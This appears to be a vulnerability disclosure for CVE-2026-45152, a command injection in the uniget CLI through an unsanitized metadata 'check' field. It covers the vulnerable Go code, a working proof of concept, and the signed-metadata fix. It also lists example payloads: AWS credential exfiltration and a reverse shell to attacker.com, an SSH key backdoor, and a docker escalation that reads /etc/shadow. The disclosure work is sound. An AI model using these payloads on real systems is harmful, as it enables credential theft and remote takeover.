Security Research

CVE-2026-45152 — Command Injection via Unsanitized Metadata in uniget CLI

High-severity OS command injection in uniget CLI where the check field from JSON metadata is passed directly to /bin/bash -c without validation, enabling arbitrary command execution via crafted metadata files.

Vulnerability Overview

CVE-2026-45152 is a command injection vulnerability classified under CWE-78 (Improper Neutralization of Special Elements used in an OS Command). CVSS 3.1 score: 7.8 (High) — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.

The vulnerability exists because uniget reads a check field from JSON metadata files and passes it directly into /bin/bash -c without any validation, sanitization, or integrity verification. Because the shell interpreter processes special metacharacters before executing the intended command, an attacker who can control the contents of a metadata file can inject and execute arbitrary operating system commands on the victim’s machine.

Discovered and reported by: @0x5t4l1n
Fixed by: project maintainer Nicholas Dille
Patched in: uniget CLI v0.27.1 via GitLab merge request cli!239 — “fix: Only accept signed metadata”

What Is uniget

uniget is a universal installer and updater for container tools and developer utilities. It helps developers and DevOps engineers install, update, and manage CLI tools through a metadata-driven workflow. Each tool is described by a JSON metadata entry containing fields like name, version, binary path, description, and a check field used to verify the installed version at runtime.

uniget is widely used in developer workstations and CI/CD pipelines — making it an attractive target for supply chain attacks. A single compromised metadata file can affect every machine that consumes it.

The Vulnerable Code

The vulnerable function is RunVersionCheck() in tool.go:

func (tool *Tool) RunVersionCheck() (string, error) {
    cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'")
    version, err := cmd.Output()
    return string(version), nil
}

The Tool struct is populated using json.Unmarshal() — the check JSON key maps directly to tool.Check with no validation step between reading the metadata file and passing its contents to the shell.

Why exec.Command with /bin/bash -c is Dangerous

When you call exec.Command("/bin/bash", "-c", someString), you launch a Bash shell and ask it to interpret someString as a shell script. Every special character Bash understands — ;, &&, ||, |, $(...), backticks, >, < — is interpreted by the shell before any binary runs.

The intended behavior for tool.Check = "git --version":

/bin/bash -c "git --version | tr -d '\n'"

The actual behavior for tool.Check = "echo '1.0.0'; id > /tmp/rce-proof.txt":

/bin/bash -c "echo '1.0.0'; id > /tmp/rce-proof.txt | tr -d '\n'"

The shell sees two commands separated by ;. id > /tmp/rce-proof.txt executes — any command could replace id.

Complete Data Flow

metadata.json on disk
 ↓ json.Unmarshal into Tool struct
tool.Check string ← attacker controls this
 ↓ string concatenation: tool.Check + " | tr -d '\n'"
Shell command string
 ↓ exec.Command("/bin/bash", "-c", shellCommandString)
/bin/bash process
 ↓ shell parses and executes
Arbitrary OS command execution

No defensive control exists at any point in this chain.

Proof of Concept

Set Up Malicious Metadata

mkdir -p ~/.local/var/cache/uniget

cat > ~/.local/var/cache/uniget/metadata.json << 'EOF'
{
  "tools": [
    {
      "name": "evil-tool",
      "version": "1.0.0",
      "binary": "${target}/bin/evil-tool",
      "check": "echo '1.0.0'; id > /tmp/rce-proof.txt",
      "tags": ["test"],
      "description": "RCE test",
      "repository": "https://example.com",
      "license": { "name": "MIT", "link": "https://example.com" },
      "sources": [{ "registry": "ghcr.io", "repository": "uniget-org/tools" }]
    }
  ]
}
EOF

Trigger via Normal Operation

uniget describe evil-tool --prefix ~/.local

The describe command looks completely innocuous to the user. Yet:

-rw-rw-r-- 1 w4nn4d13 w4nn4d13 253 May 7 23:53 /tmp/rce-proof.txt

uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),4(adm),27(sudo),128(docker)

The injected id command ran with full user privileges, including sudo and docker groups — both trivially escalatable to root.

Real-World Attack Payloads

# AWS credential exfiltration
"check": "echo '1.0.0'; cat ~/.aws/credentials | curl -s -X POST https://attacker.com/collect -d @-"

# Reverse shell
"check": "echo '1.0.0'; bash -i >& /dev/tcp/attacker.com/4444 0>&1"

# SSH backdoor
"check": "echo '1.0.0'; echo 'ssh-rsa AAAA...key...' >> ~/.ssh/authorized_keys"

# Docker root escalation (for docker group members)
"check": "echo '1.0.0'; docker run -v /:/mnt --rm alpine chroot /mnt cat /etc/shadow > /tmp/shadow"

The Fix — Signed Metadata

The fix (MR cli!239) requires all metadata to be cryptographically signed before uniget loads it. This addresses the root cause at the correct level: rather than trying to sanitize shell input (notoriously error-prone), uniget now ensures only metadata signed by trusted parties can reach RunVersionCheck().

An attacker who modifies metadata.json on disk invalidates the signature — uniget rejects the tampered file before loading it.

The underlying RunVersionCheck() pattern still exists but is now protected by the trust boundary of key management.

The Secure Coding Pattern

// ❌ Current — safe only because of signing
func (tool *Tool) RunVersionCheck() (string, error) {
    cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'")
    version, err := cmd.Output()
    return string(version), nil
}

// ✅ Ideal — no shell involved at all
func (tool *Tool) RunVersionCheck() (string, error) {
    cmd := exec.Command(tool.Binary, "--version")
    out, err := cmd.Output()
    if err != nil {
        return "", err
    }
    return strings.TrimRight(string(out), "\n"), nil
}

References


Reported by @0x5t4l1n — Fixed by Nicholas Dille — Patched in uniget v0.27.1